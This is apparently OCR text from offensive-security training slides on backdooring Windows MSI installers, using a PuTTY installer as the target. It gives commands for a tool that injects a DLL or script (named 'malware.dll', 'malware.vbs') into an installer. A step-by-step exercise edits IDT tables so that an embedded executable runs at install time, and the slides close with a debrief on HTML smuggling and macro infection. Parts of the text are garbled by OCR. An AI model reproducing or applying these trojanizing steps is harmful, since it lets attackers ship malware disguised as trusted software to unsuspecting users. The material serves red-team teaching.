Attack Parameters:
--paraml - Path to DLL file to load
--param2 - DLL Export function name

. dotnet

Loads .NET DLL into msiexec.exe during install via CustomAction D1lEntry (its the same action as load-d11l).

Attack Parameters:
--paraml - Path to DLL file to load
--param2 - DLL Export (adnotated) function name

cmd> python3 msisnatcher.py -i putty-installer.msi load-dll -1 malware.dll -2 MyMethod putty-backdoored.msi

Load VBscript/JScript during installation (MyMethod is a name of a function defined in the script file, to be executed):

cmd> python3 msisnatcher.py -i putty-installer.msi load-dll -1 malware.vbs -2 RunMalware putty-backdoored.msi
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MsiDB throwing errors? Check them here:
https://learn.microsoft.com/en-us/windows/win32/msi/windows-installer-error-messages

o0 Manually Backdooring existing MSIs

(OPTIONAL) MSI Backdoor Exercise #3: Use & edit .IDT tables to import EXE file into Binary & then run it
Backdoor putty-0.67-installer.msi using so that it runs ,,Autoruns64.exe” upon installation in run-exe fashion
4P Binaryidt )
Step 0: Copy repo\Exercises\dayl\MSI Shenanigans\backdoor\putty-0.67-installer.msi to putty-0.67-backdoored2.msi A N;ﬁ .
Step 1: Extract all MSI tables with: é ;z;XS Name
4 WixUIWixca WixUIWixca.ibd
cmd> repo\Tools\ -d putty-0.67-backdoored2.msi -f C:\work -e * 5  WixUI_Bmp_Banner  WixUI_Bmp_Banner.ibd
6  WixUI_Bmp_Dialog WixUI_Bmp_Dialog.ibd
Step 2: Copy your malware file into Binary directory (created where you extracted tables) as Foobar.ibd: 7 WixUI_Bmp_New  WixUI_Bmp_New.ibd
8  WixUI_Bmp_Up WixUI_Bmp_Up.ibd

cmd> copy Autoruns64.exe C:\work\Binary\Foobar.ibd

Step 3: Modify Binary.idt text file (TSV): add a new line to the end (mind tab-separation used): \t stands for TAB, \r\n ENTER:

Foobar \t Foobar.ibd \r\n

Step 4: Modify CustomAction.idt to denote you want to have that EXE be launched during installation. Add new line:
Foobar1337 \t 1218 \t Foobar \t \t \r\n

Step 5: Modify InstallExecuteSequence.idt to position your Custom Action on installations step queue. Add such line:

Foobar1337 \t NOT REMOVE \t 6599 \r\n

4p

25
26
27
28
29

30

31

WixUI_Ico_Exclam WixUI_Ico_Exclam.ibd
WixUI_Ico_Info WixUI_Ico_Info.ibd
IFoobar‘ Foobar. ibd

InstallExecuteSequenceidt  x Binary.idt

RemoveShortcuts 3200
UnpublishFeatures 1800
ValidateProductID 700
WriteEnvironmentStrings 5200
WriteRegistryValues 5000
Foobarl337 NOT REMOVE 6599

Step 6: Import all modified tables back into MSI (repeat below step for CustomAction.idt, InstallExecuteSequence.idt). Binary.idt must be imported first!

cmd> cd C:\work

|
cmd> repo\Tools\ -d putty-0.67-backdoored2.msi -f C:\work -i Binary.idt 1
p)
E]
INSTALL: i
» Double-click putty-0.67-backdoored2.msi | 6

CustomAction.idt

x

Action Type Source Target ExtendedType
s72 i2 S72 S255 14
CustomAction Action

WixUIValidatePath 65 WixUIWixca ValidatePath

Foobarl337

1218 Foobar

When modifying *.IDT files, ensure there is exactly
UNINSTALL : one new, empty Lline at the end of your file,
otherwise MsiDB throws 2216 error.

» msiexec /q /x putty-0.67-backdoored2.msi

Other than that, carefully insert TABs as number of
columns in a row/line must be adequate.

Autoruns should pop when Putty installation completes. ©


https://learn.microsoft.com/en-us/windows/win32/msi/windows-installer-error-messages
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1% Day 1 - Debrief

Today we’ve discussed how Security Systems work
We’ve also covered typical Initial Access vectors
Introduced idea of containerized malware

And practiced a bit on HTML Smuggling

Tomorrow we’ll cover viable tactics for Macro-Enabled Office docs & Complex Infection scenarios.

» VBA macros are still alive and deadly in 2022, even with Office 365 fireworks

Next day’s objective is to design a proper, advanced VBA infection vector - fingers crossed!

Get rest before Day2! Today was a cakewalk compared to what we have tomorrow!



N
Q&A

Questions? ©
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